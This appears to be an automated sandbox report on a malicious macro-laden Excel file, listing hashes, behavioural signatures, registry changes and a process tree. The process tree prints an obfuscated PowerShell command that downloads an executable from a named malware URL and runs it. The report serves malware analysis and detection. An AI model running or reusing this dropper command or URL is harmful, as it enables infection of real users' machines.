Analysis
-
max time kernel
69s -
max time network
17s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
18-01-2021 09:28
Static task
static1
Behavioral task
behavioral1
Sample
Payment copy details.xlsm
Resource
win7v20201028
Behavioral task
behavioral2
Sample
Payment copy details.xlsm
Resource
win10v20201028
General
-
Target
Payment copy details.xlsm
-
Size
13KB
-
MD5
d6db15ab7f42874b6bf76b6ea59be9a7
-
SHA1
5c2cd0f4131bf097493bda618d0bfbf1e7c24bf1
-
SHA256
3fa582c6429bfe7cb4932594db7265d2540256c36341194341b38511241bd3ec
-
SHA512
50d9a8051f5b709df96b6962d7a83fbb67d96c03315b4671a79637f91aa59f916b8345fd2170309b4c10e0b4a9c44badc16fcf7136a4ba3279e66bfb78c754e2
Malware Config
Extracted
http://hosseinsoltani.ir/LEGITTTT.exe
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1576 644 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 6 280 powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
eWTPJ.batpid process 1688 eWTPJ.bat -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 644 EXCEL.EXE 644 EXCEL.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Processes:
EXCEL.EXEdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 644 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 280 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 280 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 644 EXCEL.EXE 644 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
EXCEL.EXEpid process 644 EXCEL.EXE 644 EXCEL.EXE 644 EXCEL.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
EXCEL.EXEcmd.exedescription pid process target process PID 644 wrote to memory of 1576 644 EXCEL.EXE cmd.exe PID 644 wrote to memory of 1576 644 EXCEL.EXE cmd.exe PID 644 wrote to memory of 1576 644 EXCEL.EXE cmd.exe PID 644 wrote to memory of 1576 644 EXCEL.EXE cmd.exe PID 1576 wrote to memory of 280 1576 cmd.exe powershell.exe PID 1576 wrote to memory of 280 1576 cmd.exe powershell.exe PID 1576 wrote to memory of 280 1576 cmd.exe powershell.exe PID 1576 wrote to memory of 280 1576 cmd.exe powershell.exe PID 644 wrote to memory of 1688 644 EXCEL.EXE eWTPJ.bat PID 644 wrote to memory of 1688 644 EXCEL.EXE eWTPJ.bat PID 644 wrote to memory of 1688 644 EXCEL.EXE eWTPJ.bat PID 644 wrote to memory of 1688 644 EXCEL.EXE eWTPJ.bat
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Payment copy details.xlsm"1⤵
- Loads dropped DLL
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start p^owersh^el^l -w 1 (New-Object Net.WebClient).DownloadFile('http://hosseinsoltani.ir/LEGITTTT.exe',($env:Temp)+'\eWTPJ.bat')2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -w 1 (New-Object Net.WebClient).DownloadFile('http://hosseinsoltani.ir/LEGITTTT.exe',($env:Temp)+'\eWTPJ.bat')3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\eWTPJ.batC:\Users\Admin\AppData\Local\Temp\eWTPJ.bat2⤵
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\eWTPJ.batMD5
45bfdbcf923c3f8a95dae8ac6b21507e
SHA1e9f512bccb1b0555691cd8beee304e91f2bf01f2
SHA256bef848a6d990d1d7b99a027b4c519366cfc441ddce8a3129b3d38fa8268653e1
SHA51202cf8feec8adaf2718c3acb48e4856461edc69eb66362926fdec977070ac120dd98ecd5817740f2bef7f55b2563b952d28343adf5d4ab03ca07b06f2fddc2c28
-
C:\Users\Admin\AppData\Local\Temp\eWTPJ.batMD5
45bfdbcf923c3f8a95dae8ac6b21507e
SHA1e9f512bccb1b0555691cd8beee304e91f2bf01f2
SHA256bef848a6d990d1d7b99a027b4c519366cfc441ddce8a3129b3d38fa8268653e1
SHA51202cf8feec8adaf2718c3acb48e4856461edc69eb66362926fdec977070ac120dd98ecd5817740f2bef7f55b2563b952d28343adf5d4ab03ca07b06f2fddc2c28
-
\Users\Admin\AppData\Local\Temp\eWTPJ.batMD5
45bfdbcf923c3f8a95dae8ac6b21507e
SHA1e9f512bccb1b0555691cd8beee304e91f2bf01f2
SHA256bef848a6d990d1d7b99a027b4c519366cfc441ddce8a3129b3d38fa8268653e1
SHA51202cf8feec8adaf2718c3acb48e4856461edc69eb66362926fdec977070ac120dd98ecd5817740f2bef7f55b2563b952d28343adf5d4ab03ca07b06f2fddc2c28
-
\Users\Admin\AppData\Local\Temp\eWTPJ.batMD5
45bfdbcf923c3f8a95dae8ac6b21507e
SHA1e9f512bccb1b0555691cd8beee304e91f2bf01f2
SHA256bef848a6d990d1d7b99a027b4c519366cfc441ddce8a3129b3d38fa8268653e1
SHA51202cf8feec8adaf2718c3acb48e4856461edc69eb66362926fdec977070ac120dd98ecd5817740f2bef7f55b2563b952d28343adf5d4ab03ca07b06f2fddc2c28
-
memory/280-9-0x0000000001FB0000-0x0000000001FB1000-memory.dmpFilesize
4KB
-
memory/280-23-0x00000000063B0000-0x00000000063B1000-memory.dmpFilesize
4KB
-
memory/280-8-0x000000006C1B0000-0x000000006C89E000-memory.dmpFilesize
6.9MB
-
memory/280-6-0x0000000000000000-mapping.dmp
-
memory/280-10-0x0000000004720000-0x0000000004721000-memory.dmpFilesize
4KB
-
memory/280-11-0x00000000025A0000-0x00000000025A1000-memory.dmpFilesize
4KB
-
memory/280-12-0x00000000025D0000-0x00000000025D1000-memory.dmpFilesize
4KB
-
memory/280-13-0x00000000025D2000-0x00000000025D3000-memory.dmpFilesize
4KB
-
memory/280-14-0x00000000052C0000-0x00000000052C1000-memory.dmpFilesize
4KB
-
memory/280-17-0x0000000006150000-0x0000000006151000-memory.dmpFilesize
4KB
-
memory/280-22-0x0000000006220000-0x0000000006221000-memory.dmpFilesize
4KB
-
memory/280-7-0x00000000765E1000-0x00000000765E3000-memory.dmpFilesize
8KB
-
memory/280-24-0x000000007EF30000-0x000000007EF31000-memory.dmpFilesize
4KB
-
memory/280-31-0x0000000006360000-0x0000000006361000-memory.dmpFilesize
4KB
-
memory/280-32-0x00000000064A0000-0x00000000064A1000-memory.dmpFilesize
4KB
-
memory/644-2-0x000000002F4E1000-0x000000002F4E4000-memory.dmpFilesize
12KB
-
memory/644-4-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/644-3-0x0000000071581000-0x0000000071583000-memory.dmpFilesize
8KB
-
memory/1576-5-0x0000000000000000-mapping.dmp
-
memory/1688-36-0x0000000000000000-mapping.dmp
-
memory/1688-38-0x000000006C270000-0x000000006C95E000-memory.dmpFilesize
6.9MB
-
memory/1688-39-0x0000000000220000-0x0000000000221000-memory.dmpFilesize
4KB
-
memory/1688-41-0x00000000005C0000-0x00000000005FD000-memory.dmpFilesize
244KB
-
memory/1688-42-0x0000000001F10000-0x0000000001F11000-memory.dmpFilesize
4KB